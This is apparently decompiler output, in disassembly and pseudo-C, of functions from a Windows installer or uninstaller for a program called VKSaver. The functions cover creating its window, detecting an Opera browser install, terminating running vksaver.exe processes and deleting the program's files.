    push         eax
    mov          dword ptr [ebp-0x20], 0x08
    mov          dword ptr [ebp-0x1C], 0xC0FF
    call         [comctl32.InitCommonControlsEx]
    mov          eax, [0x4B2010]
    mov          esi, [user32.LoadIconW]
    push         0x6B
    push         eax
    mov          dword ptr [ebp-0x50], 0x30
    mov          dword ptr [ebp-0x4C], 0x03
    mov          dword ptr [ebp-0x48], sub_404dc0()
    mov          dword ptr [ebp-0x44], 0x00
    mov          dword ptr [ebp-0x40], 0x00
    mov          [ebp-0x3C], eax
    call         esi
    push         0x7F00
    push         0x00
    mov          [ebp-0x38], eax
    call         [user32.LoadCursorW]
    push         0x6C
    push         [ebp-0x3C]
    mov          [ebp-0x34], eax
    mov          dword ptr [ebp-0x30], 0x10
    mov          dword ptr [ebp-0x2C], 0x00
    mov          dword ptr [ebp-0x28], "VKSaverInstallWnd"
    call         esi
    mov          [ebp-0x24], eax
    lea          eax, [ebp-0x50]
    push         eax
    call         [user32.RegisterClassExW]
    push         0x84
    push         [0x4B2010]
    call         [user32.LoadBitmapW]
    mov          esi, eax
    call         [user32.GetDesktopWindow]
    push         eax
    call         [user32.GetDC]
    mov          ebx, [gdi32.CreateCompatibleDC]
    push         eax
    mov          [ebp-0x18], eax
    call         ebx
    mov          edi, [gdi32.SelectObject]
    push         esi
    push         eax
    mov          [0x4B14B4], eax
    call         edi
    push         0x85
    push         [0x4B2010]
    call         [user32.LoadBitmapW]
    push         [ebp-0x18]
    mov          esi, eax
    call         ebx
    push         esi
    push         eax
    mov          [0x4B14B0], eax
    call         edi
    push         0x87
    push         [0x4B2010]
    call         [user32.LoadBitmapW]
    push         [ebp-0x18]
    mov          esi, eax
    call         ebx
    push         esi
    push         eax
    mov          [0x4B14AC], eax
    call         edi
    lea          eax, [ebp-0x14]
    push         eax
    call         [user32.GetDesktopWindow]
    push         eax
    call         [user32.GetClientRect]
    push         0x00
    push         [0x4B2010]
    push         0x00
    push         0x00
    mov          eax, [ebp-0x08]
    cdq          
    sub          eax, edx
    push         0x190
    sar          eax, 0x01
    push         0x1F4
    sub          eax, 0xC8
    push         eax
    mov          eax, [ebp-0x0C]
    cdq          
    sub          eax, edx
    sar          eax, 0x01
    sub          eax, 0xFA
    push         eax
    push         0x80C80000
    push         0x4B1510
    push         "VKSaverInstallWnd"
    push         0x08
    call         [user32.CreateWindowExW]
    mov          esi, eax
    push         0x05
    push         esi
    call         [user32.ShowWindow]
    push         esi
    call         [user32.UpdateWindow]
    mov          ebx, [user32.GetMessageW]
    push         0x00
    push         0x00
    push         0x00
    lea          eax, [ebp-0x6C]
    push         eax
    call         ebx
    test         eax, eax
    jz           .3
    mov          esi, [user32.TranslateMessage]
    mov          edi, [user32.DispatchMessageW]
.2:
    lea          eax, [ebp-0x6C]
    push         eax
    call         esi
    lea          eax, [ebp-0x6C]
    push         eax
    call         edi
    push         0x00
    push         0x00
    push         0x00
    lea          eax, [ebp-0x6C]
    push         eax
    call         ebx
    test         eax, eax
    jnz          .2
.3:
    mov          ecx, [ebp-0x04]
    pop          edi
    pop          esi
    xor          ecx, ebp
    pop          ebx
    call         sub_406beb()
    mov          esp, ebp
    pop          ebp
    ret          
}

/* DISPLAY WARNING: Type casts are NOT being printed */

void sub_405eb0(void)

{
    code *pcVar1;
    code *pcVar2;
    code *pcVar3;
    undefined4 uVar4;
    undefined4 uVar5;
    int32_t iVar6;
    undefined auStack_70 [28];
    undefined4 uStack_54;
    undefined4 uStack_50;
    code *pcStack_4c;
    undefined4 uStack_48;
    undefined4 uStack_44;
    undefined4 uStack_40;
    undefined4 uStack_3c;
    undefined4 uStack_38;
    undefined4 uStack_34;
    undefined4 uStack_30;
    undefined4 uStack_2c;
    undefined4 uStack_28;
    undefined4 uStack_24;
    undefined4 uStack_20;
    undefined4 uStack_1c;
    undefined auStack_18 [8];
    int32_t iStack_10;
    int32_t iStack_c;
    uint32_t uStack_8;
    
    uStack_8 = [0x0x46f000#SecurityCookie] ^ &stack0xfffffffc;
    (*kernel32.LoadLibraryW)("riched20.dll");
    uStack_24 = 8;
    uStack_20 = 0xc0ff;
    (*comctl32.InitCommonControlsEx)(&uStack_24);
    pcVar1 = user32.LoadIconW;
    uStack_54 = 0x30;
    uStack_50 = 3;
    pcStack_4c = sub_404dc0;
    uStack_48 = 0;
    uStack_44 = 0;
    uStack_40 = [0x0x4b2010];
    uStack_3c = (*user32.LoadIconW)([0x0x4b2010], 0x6b);
    uStack_38 = (*user32.LoadCursorW)(0, 0x7f00);
    uStack_34 = 0x10;
    uStack_30 = 0;
    uStack_2c = "VKSaverInstallWnd";
    uStack_28 = (*pcVar1)(uStack_40, 0x6c);
    (*user32.RegisterClassExW)(&uStack_54);
    uVar4 = (*user32.LoadBitmapW)([0x0x4b2010], 0x84);
    uVar5 = (*user32.GetDesktopWindow)();
    uStack_1c = (*user32.GetDC)(uVar5);
    pcVar2 = gdi32.CreateCompatibleDC;
    004b14b4 = (*gdi32.CreateCompatibleDC)(uStack_1c);
    pcVar1 = gdi32.SelectObject;
    (*gdi32.SelectObject)(004b14b4, uVar4);
    uVar4 = (*user32.LoadBitmapW)([0x0x4b2010], 0x85);
    004b14b0 = (*pcVar2)(uStack_1c);
    (*pcVar1)(004b14b0, uVar4);
    uVar4 = (*user32.LoadBitmapW)([0x0x4b2010], 0x87);
    004b14ac = (*pcVar2)(uStack_1c);
    (*pcVar1)(004b14ac, uVar4);
    uVar4 = (*user32.GetDesktopWindow)(auStack_18);
    (*user32.GetClientRect)(uVar4);
    uVar4 = (*user32.CreateWindowExW)
                      (8, "VKSaverInstallWnd", 0x4b1510, 0x80c80000, iStack_10 / 2 + -0xfa, iStack_c / 2 + -200, 500, 400, 0, 0, 
                       [0x0x4b2010], 0);
    (*user32.ShowWindow)(uVar4, 5);
    (*user32.UpdateWindow)(uVar4);
    pcVar3 = user32.GetMessageW;
    iVar6 = (*user32.GetMessageW)(auStack_70, 0, 0, 0);
    pcVar2 = user32.TranslateMessage;
    pcVar1 = user32.DispatchMessageW;
    while (iVar6 != 0) {
        (*pcVar2)(auStack_70);
        (*pcVar1)(auStack_70);
        iVar6 = (*pcVar3)(auStack_70, 0, 0, 0);
    }
    sub_406beb();
    return;
}
0x4010B0 sub_4010b0 str 3 api 9 imm 11 Unknown
sub_4010b0() {
    push         ebp
    mov          ebp, esp
    sub          esp, 0x880
    mov          eax, [0x46F000]
    xor          eax, ebp
    mov          [ebp-0x04], eax
    push         esi
    push         edi
    lea          eax, [ebp-0x620]
    push         eax
    push         0x00
    push         0x00
    push         0x1A
    push         0x00
    call         [shell32.SHGetFolderPathW]
    lea          eax, [ebp-0x620]
    push         eax
    lea          eax, [ebp-0x210]
    push         "%s\\Opera\\Opera\\operaprefs.ini"
    push         eax
    call         [user32.wsprintfW]
    add          esp, 0x0C
    lea          eax, [ebp-0x870]
    push         eax
    lea          eax, [ebp-0x210]
    push         eax
    call         [kernel32.FindFirstFileW]
    cmp          eax, 0xFFFFFFFF
    jz           .5
    push         eax
    call         [kernel32.FindClose]
    lea          eax, [ebp-0x874]
    push         eax
    push         0x20019
    push         0x00
    push         "Software\\Opera Software"
    push         0x80000001
    mov          dword ptr [ebp-0x874], 0x00
    call         [advapi32.RegOpenKeyExW]
    mov          eax, [ebp-0x874]
    test         eax, eax
    jz           .5
    lea          ecx, [ebp-0x878]
    push         ecx
    lea          ecx, [ebp-0x210]
    push         ecx
    lea          ecx, [ebp-0x87C]
    push         ecx
    push         0x00
    push         "Last CommandLine v2"
    push         eax
    mov          dword ptr [ebp-0x87C], 0x01
    mov          dword ptr [ebp-0x878], 0x104
    call         [advapi32.RegQueryValueExW]
    push         [ebp-0x874]
    mov          edi, eax
    call         [advapi32.RegCloseKey]
    mov          esi, [ebp-0x878]
    test         esi, esi
    jz           .5
    test         edi, edi
    jnz          .5
    xor          edx, edx
    xor          ecx, ecx
    shr          esi, 0x01
    jz           .4
    jmp          .1
.1:
    movzx        edi, word ptr [ebp+ecx*2-0x210]
    cmp          edi, 0x22
    jnz          .2
    inc          edx
    jmp          .3
.2:
    mov          eax, ecx
    sub          eax, edx
    mov          [ebp+eax*2-0x418], di
.3:
    inc          ecx
    cmp          ecx, esi
    jb           .1
.4:
    sub          esi, edx
    add          esi, esi
    cmp          esi, 0x208
    jnb          .6
    xor          eax, eax
    mov          [ebp+esi*1-0x418], ax
    lea          eax, [ebp-0x870]
    push         eax
    lea          eax, [ebp-0x418]
    push         eax
    call         [kernel32.FindFirstFileW]
    cmp          eax, 0xFFFFFFFF
    jz           .5
    push         eax
    call         [kernel32.FindClose]
    mov          al, 0x01
    pop          edi
    pop          esi
    mov          ecx, [ebp-0x04]
    xor          ecx, ebp
    call         sub_406beb()
    mov          esp, ebp
    pop          ebp
    ret          
.5:
    mov          ecx, [ebp-0x04]
    pop          edi
    xor          ecx, ebp
    xor          al, al
    pop          esi
    call         sub_406beb()
    mov          esp, ebp
    pop          ebp
    ret          
.6:
    call         ___report_rangecheckfailure()
}

/* DISPLAY WARNING: Type casts are NOT being printed */

void sub_4010b0(void)

{
    code *pcVar1;
    int32_t iVar2;
    uint32_t uVar3;
    uint32_t uVar4;
    undefined4 uStack_880;
    uint32_t uStack_87c;
    int32_t iStack_878;
    undefined auStack_874 [592];
    undefined auStack_624 [520];
    int16_t aiStack_41c [260];
    int16_t aiStack_214 [262];
    uint32_t uStack_8;
    
    uStack_8 = [0x0x46f000#SecurityCookie] ^ &stack0xfffffffc;
    (*shell32.SHGetFolderPathW)(0, 0x1a, 0, 0, auStack_624);
    (*user32.wsprintfW)(aiStack_214, "%s\\Opera\\Opera\\operaprefs.ini", auStack_624);
    iVar2 = (*kernel32.FindFirstFileW)(aiStack_214, auStack_874);
    if (iVar2 != -1) {
        (*kernel32.FindClose)(iVar2);
        iStack_878 = 0;
        (*advapi32.RegOpenKeyExW)(0x80000001, "Software\\Opera Software", 0, 0x20019, &iStack_878);
        if (iStack_878 != 0) {
            uStack_880 = 1;
            uStack_87c = 0x104;
            iVar2 = (*advapi32.RegQueryValueExW)(iStack_878, "Last CommandLine v2", 0, &uStack_880, aiStack_214, &uStack_87c);
            (*advapi32.RegCloseKey)(iStack_878);
            if ((uStack_87c != 0) && (iVar2 == 0)) {
                iVar2 = 0;
                uVar3 = 0;
                uVar4 = uStack_87c >> 1;
                if (uVar4 != 0) {
                    do {
                        if (aiStack_214[uVar3] == 0x22) {
                            iVar2 = iVar2 + 1;
                        }
                        else {
                            aiStack_41c[uVar3 - iVar2] = aiStack_214[uVar3];
                        }
                        uVar3 = uVar3 + 1;
                    } while (uVar3 < uVar4);
                }
                if (0x207 < (uVar4 - iVar2) * 2) {
                    ___report_rangecheckfailure();
                    pcVar1 = swi(3);
                    (*pcVar1)();
                    return;
                }
                aiStack_41c[uVar4 - iVar2] = 0;
                iVar2 = (*kernel32.FindFirstFileW)(aiStack_41c, auStack_874);
                if (iVar2 != -1) {
                    (*kernel32.FindClose)(iVar2);
                    sub_406beb();
                    return;
                }
            }
        }
    }
    sub_406beb();
    return;
}
0x403190 sub_403190 str 2 api 11 imm 13 Unknown
sub_403190() {
    push         ebp
    mov          ebp, esp
    sub          esp, 0x92C
    mov          eax, [0x46F000]
    xor          eax, ebp
    mov          [ebp-0x04], eax
    push         ebx
    push         esi
    push         edi
    call         [kernel32.GetCurrentProcessId]
    mov          esi, eax
    lea          eax, [ebp-0x520]
    push         eax
    push         0x400
    lea          eax, [ebp-0x508]
    push         eax
    mov          [ebp-0x51C], esi
    call         [psapi.EnumProcesses]
    lea          eax, [ebp-0x524]
    push         eax
    push         0x28
    call         [kernel32.GetCurrentProcess]
    push         eax
    call         [advapi32.OpenProcessToken]
    test         eax, eax
    jz           .1
    lea          eax, [ebp-0x514]
    push         eax
    push         "SeDebugPrivilege"
    push         0x00
    call         [advapi32.LookupPrivilegeValueW]
    push         0x00
    push         0x00
    push         0x00
    lea          eax, [ebp-0x518]
    push         eax
    push         0x00
    push         [ebp-0x524]
    mov          dword ptr [ebp-0x518], 0x01
    mov          dword ptr [ebp-0x50C], 0x02
    call         [advapi32.AdjustTokenPrivileges]
.1:
    xor          edi, edi
    test         dword ptr [ebp-0x520], 0xFFFFFFFC
    jbe          .6
    mov          ebx, [kernel32.TerminateProcess]
    jmp          .2
    jmp          .2
.2:
    mov          eax, [ebp+edi*4-0x508]
    cmp          eax, esi
    jz           .5
    push         eax
    push         0x00
    push         0x411
    call         [kernel32.OpenProcess]
    mov          esi, eax
    test         esi, esi
    jz           .4
    lea          eax, [ebp-0x528]
    push         eax
    push         0x400
    lea          eax, [ebp-0x928]
    push         eax
    push         esi
    call         [psapi.EnumProcessModules]
    test         eax, eax
    jz           .3
    push         0x80
    lea          eax, [ebp-0x108]
    push         eax
    push         [ebp-0x928]
    push         esi
    call         [psapi.GetModuleBaseNameW]
    lea          eax, [ebp-0x108]
    push         0x80
    push         eax
    call         __wcslwr_s()
    lea          eax, [ebp-0x108]
    push         "vksaver.exe"
    push         eax
    call         _wcsstr()
    add          esp, 0x10
    test         eax, eax
    jz           .3
    push         0x00
    push         esi
    call         ebx
    push         0x1F4
    call         [kernel32.Sleep]
.3:
    push         esi
    call         [kernel32.CloseHandle]
.4:
    mov          esi, [ebp-0x51C]
.5:
    mov          eax, [ebp-0x520]
    inc          edi
    shr          eax, 0x02
    cmp          edi, eax
    jb           .2
.6:
    mov          ecx, [ebp-0x04]
    pop          edi
    pop          esi
    xor          ecx, ebp
    pop          ebx
    call         sub_406beb()
    mov          esp, ebp
    pop          ebp
    ret          
}

/* DISPLAY WARNING: Type casts are NOT being printed */

void sub_403190(void)

{
    code *pcVar1;
    int32_t iVar2;
    undefined4 uVar3;
    int32_t iVar4;
    uint32_t uVar5;
    undefined4 auStack_92c [256];
    undefined auStack_52c [4];
    undefined4 uStack_528;
    uint32_t uStack_524;
    int32_t iStack_520;
    undefined4 uStack_51c;
    undefined auStack_518 [8];
    undefined4 uStack_510;
    int32_t aiStack_50c [256];
    undefined auStack_10c [260];
    uint32_t uStack_8;
    
    uStack_8 = [0x0x46f000#SecurityCookie] ^ &stack0xfffffffc;
    iVar2 = (*kernel32.GetCurrentProcessId)();
    iStack_520 = iVar2;
    (*psapi.EnumProcesses)(aiStack_50c, 0x400, &uStack_524);
    uVar3 = (*kernel32.GetCurrentProcess)(0x28, &uStack_528);
    iVar4 = (*advapi32.OpenProcessToken)(uVar3);
    if (iVar4 != 0) {
        (*advapi32.LookupPrivilegeValueW)(0, "SeDebugPrivilege", auStack_518);
        uStack_51c = 1;
        uStack_510 = 2;
        (*advapi32.AdjustTokenPrivileges)(uStack_528, 0, &uStack_51c, 0, 0, 0);
    }
    pcVar1 = kernel32.TerminateProcess;
    uVar5 = 0;
    if ((uStack_524 & 0xfffffffc) != 0) {
        do {
            if ((aiStack_50c[uVar5] != iVar2) &&
               (iVar4 = (*kernel32.OpenProcess)(0x411, 0, aiStack_50c[uVar5]), iVar2 = iStack_520, iVar4 != 0)) {
                iVar2 = (*psapi.EnumProcessModules)(iVar4, auStack_92c, 0x400, auStack_52c);
                if (iVar2 != 0) {
                    (*psapi.GetModuleBaseNameW)(iVar4, auStack_92c[0], auStack_10c, 0x80);
                    __wcslwr_s(auStack_10c, 0x80);
                    iVar2 = _wcsstr(auStack_10c, "vksaver.exe");
                    if (iVar2 != 0) {
                        (*pcVar1)(iVar4, 0);
                        (*kernel32.Sleep)(500);
                    }
                }
                (*kernel32.CloseHandle)(iVar4);
                iVar2 = iStack_520;
            }
            uVar5 = uVar5 + 1;
        } while (uVar5 < uStack_524 >> 2);
    }
    sub_406beb();
    return;
}
0x4025E0 sub_4025e0 str 2 api 11 imm 9 Unknown
sub_4025e0() {
    push         ebp
    mov          ebp, esp
    sub          esp, 0xAB8
    mov          eax, [0x46F000]
    xor          eax, ebp
    mov          [ebp-0x08], eax
    push         ebx
    push         esi
    mov          ebx, ecx
    push         edi
    lea          edx, [ebp-0x60C]
    mov          esi, ebx
.1:
    mov          ax, [esi]
    lea          esi, [esi+0x02]
    mov          [edx], ax
    add          edx, 0x02
    cmp          word ptr [esi], 0x00
    jnz          .1
    mov          eax, 0x5C
    cmp          [esi-0x02], ax
    jz           .2
    mov          [edx], ax
    mov          [esi], eax
    add          edx, 0x02
.2:
    mov          ecx, 0x46B3B8
    sub          edx, ecx
    lea          esp, [esp]
.3:
    movzx        eax, word ptr [ecx]
    mov          [edx+ecx*1], ax
    lea          ecx, [ecx+0x02]
    test         ax, ax
    jnz          .3
    lea          eax, [ebp-0xAAC]
    push         eax
    lea          eax, [ebp-0x60C]
    push         eax
    call         [kernel32.FindFirstFileW]
    mov          [ebp-0xAB0], eax
    cmp          eax, 0xFFFFFFFF
    jz           .13
    mov          edi, [kernel32.MoveFileExW]
    mov          esi, ebx
    lea          eax, [ebp-0x40C]
    sub          esi, eax
.4:
    movzx        edx, word ptr [ebx]
    lea          eax, [ebp-0x40C]
    jmp          .5
.5:
    movzx        ecx, word ptr [esi+eax*1+0x02]
    mov          [eax], dx
    add          eax, 0x02
    mov          edx, ecx
    test         cx, cx
    jnz          .5
    lea          edx, [ebp-0xA80]
    jmp          .6
.6:
    movzx        ecx, word ptr [edx]
    mov          [eax], cx
    lea          edx, [edx+0x02]
    lea          eax, [eax+0x02]
    test         cx, cx
    jnz          .6
    test         byte ptr [ebp-0xAAC], 0x10
    jnz          .12
    lea          eax, [ebp-0x85C]
    push         eax
    lea          eax, [ebp-0x40C]
    push         eax
    call         [kernel32.FindFirstFileW]
    cmp          eax, 0xFFFFFFFF
    jz           .12
    push         eax
    call         [kernel32.FindClose]
    lea          eax, [ebp-0x40C]
    push         eax
    call         [kernel32.DeleteFileW]
    test         eax, eax
    jnz          .12
    lea          eax, [ebp-0x20C]
    push         eax
    push         0x100
    call         [kernel32.GetTempPathW]
    cmp          word ptr [ebp-0x20C], 0x00
    lea          eax, [ebp-0x20C]
    jz           .8
    lea          esp, [esp]
.7:
    add          eax, 0x02
    cmp          word ptr [eax], 0x00
    jnz          .7
.8:
    cmp          word ptr [eax-0x02], 0x5C
    jz           .9
    mov          ecx, 0x5C
    mov          [eax], cx
.9:
    lea          eax, [ebp-0xAB8]
    push         eax
    call         [kernel32.GetSystemTimeAsFileTime]
    mov          eax, [ebp-0xAB8]
    xor          eax, [ebp-0xAB4]
    push         eax
    lea          eax, [ebp-0x20C]
    push         eax
    lea          eax, [ebp-0x80C]
    push         "%s%u.tmp"
    push         eax
    call         [user32.wsprintfW]
    add          esp, 0x10
    lea          eax, [ebp-0x80C]
    push         0x01
    push         eax
    lea          eax, [ebp-0x40C]
    push         eax
    call         edi
    test         eax, eax
    jnz          .10
    mov          eax, [ebp-0xAB8]
    xor          eax, [ebp-0xAB4]
    push         eax
    lea          eax, [ebp-0x40C]
    push         eax
    lea          eax, [ebp-0x20C]
    push         "%s_%u.tmp"
    push         eax
    call         [user32.wsprintfW]
    add          esp, 0x10
    lea          eax, [ebp-0x20C]
    push         0x01
    push         eax
    lea          eax, [ebp-0x40C]
    push         eax
    call         edi
    test         eax, eax
    jz           .12
    lea          eax, [ebp-0x20C]
    jmp          .11
.10:
    lea          eax, [ebp-0x80C]
.11:
    push         0x04
    push         0x00
    push         eax
    call         edi
.12:
    lea          eax, [ebp-0xAAC]
    push         eax
    push         [ebp-0xAB0]
    call         [kernel32.FindNextFileW]
    test         eax, eax
    jnz          .4
    push         [ebp-0xAB0]
    call         [kernel32.FindClose]
.13:
    cmp          byte ptr [ebp+0x08], 0x00
    jnz          .14
    push         ebx
    call         [kernel32.RemoveDirectoryW]
.14:
    mov          ecx, [ebp-0x08]
    pop          edi
    pop          esi
    xor          ecx, ebp
    pop          ebx
    call         sub_406beb()
    mov          esp, ebp
    pop          ebp
    ret          
}

/* DISPLAY WARNING: Type casts are NOT being printed */

void __thiscall sub_4025e0(undefined4 *param_1,char param_2)

{
    undefined4 *puVar1;
    int16_t iVar2;
    code *pcVar3;
    int32_t iVar4;
    int16_t *piVar5;
    int16_t iVar6;
    undefined2 *puVar7;
    undefined2 *puVar8;
    int16_t *piVar9;
    undefined4 *puVar10;
    uint32_t uStack_abc;
    uint32_t uStack_ab8;
    int32_t iStack_ab4;
    uint8_t auStack_ab0 [44];
    int16_t aiStack_a84 [274];
    undefined auStack_860 [80];
    int16_t aiStack_810 [256];
    undefined2 auStack_610 [256];
    int16_t aiStack_410 [256];
    int16_t iStack_210;
    int16_t aiStack_20e [257];
    uint32_t uStack_c;
    
    uStack_c = [0x0x46f000#SecurityCookie] ^ &stack0xfffffffc;
    puVar8 = auStack_610;
    puVar1 = param_1;
    do {
        puVar10 = puVar1;
        puVar7 = puVar8;
        puVar1 = puVar10 + 2;
        *puVar7 = *puVar10;
        puVar8 = puVar7 + 1;
    } while (*puVar1 != 0);
    if (*puVar10 != 0x5c) {
        *puVar8 = 0x5c;
        *puVar1 = 0x5c;
        puVar8 = puVar7 + 2;
    }
    piVar5 = 0x46b3b8;
    do {
        iVar6 = *piVar5;
        *(puVar8 + -0x2359dc + piVar5) = iVar6;
        piVar5 = piVar5 + 1;
    } while (iVar6 != 0);
    iStack_ab4 = (*kernel32.FindFirstFileW)(auStack_610, auStack_ab0);
    pcVar3 = kernel32.MoveFileExW;
    if (iStack_ab4 != -1) {
        do {
            piVar5 = aiStack_410;
            iVar6 = *param_1;
            do {
                iVar2 = *(param_1 + (2 - aiStack_410) + piVar5);
                *piVar5 = iVar6;
                piVar5 = piVar5 + 1;
                iVar6 = iVar2;
            } while (iVar2 != 0);
            piVar9 = aiStack_a84;
            do {
                iVar6 = *piVar9;
                *piVar5 = iVar6;
                piVar9 = piVar9 + 1;
                piVar5 = piVar5 + 1;
            } while (iVar6 != 0);
            if (((auStack_ab0[0] & 0x10) == 0) &&
               (iVar4 = (*kernel32.FindFirstFileW)(aiStack_410, auStack_860), iVar4 != -1)) {
                (*kernel32.FindClose)(iVar4);
                iVar4 = (*kernel32.DeleteFileW)(aiStack_410);
                if (iVar4 == 0) {
                    (*kernel32.GetTempPathW)(0x100, &iStack_210);
                    piVar5 = &iStack_210;
                    iVar6 = iStack_210;
                    while (iVar6 != 0) {
                        piVar5 = piVar5 + 1;
                        iVar6 = *piVar5;
                    }
                    if (piVar5[-1] != 0x5c) {
                        *piVar5 = 0x5c;
                    }
                    (*kernel32.GetSystemTimeAsFileTime)(&uStack_abc);
                    (*user32.wsprintfW)(aiStack_810, "%s%u.tmp", &iStack_210, uStack_abc ^ uStack_ab8);
                    iVar4 = (*pcVar3)(aiStack_410, aiStack_810, 1);
                    if (iVar4 == 0) {
                        (*user32.wsprintfW)(&iStack_210, "%s_%u.tmp", aiStack_410, uStack_abc ^ uStack_ab8);
                        iVar4 = (*pcVar3)(aiStack_410, &iStack_210, 1);
                        if (iVar4 == 0) goto code_r0x004027d8;
                        piVar5 = &iStack_210;
                    }
                    else {
                        piVar5 = aiStack_810;
                    }
                    (*pcVar3)(piVar5, 0, 4);
                }
            }
code_r0x004027d8:
            iVar4 = (*kernel32.FindNextFileW)(iStack_ab4, auStack_ab0);
        } while (iVar4 != 0);
        (*kernel32.FindClose)(iStack_ab4);
    }
    if (param_2 == '\0') {
        (*kernel32.RemoveDirectoryW)(param_1);
    }
    sub_406beb();
    return;
}
LibraryFunctions
runtime/other 151